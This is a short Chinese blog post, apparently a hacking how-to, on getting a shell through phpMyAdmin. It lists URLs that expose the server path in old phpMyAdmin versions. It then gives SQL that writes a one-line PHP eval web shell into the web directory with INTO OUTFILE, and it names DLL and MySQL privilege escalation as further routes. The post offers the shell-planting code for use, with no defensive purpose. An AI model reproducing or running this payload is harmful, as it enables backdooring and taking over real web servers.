phpmyadmin提权简单的方法

xpower • • 实验室 • 1002 阅读

phpmyadmin提权简单的方法

phpmyadmin怎么提权拿shell

=====以上关键词做SEO优化=====

1.想办法找路径 利用PHPmyadmin 导出Shell 如 phpmyadmin早起的暴路径文件漏洞

http://www.xx.com /phpmyadmin/libraries/lect_lang.lib.php
http://www.xx.com /phpmyadmin/themes/darkblue_orange/layout.inc.php
二:提权
选择一个Database.运行以下语句.
—-start code—
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES(‘<?php eval($_POST[1]);?>’);
select cmd from a into outfile ‘D:/phpMyAdmin/libraries/d.php’; //这儿是绝对路径不是相对路径
Drop TABLE IF EXISTS a;
—-end code—
还有其他方法比如： Dll的提权 MYSQL提权等

 

THE END
分享
二维码
< <上一篇
下一篇>>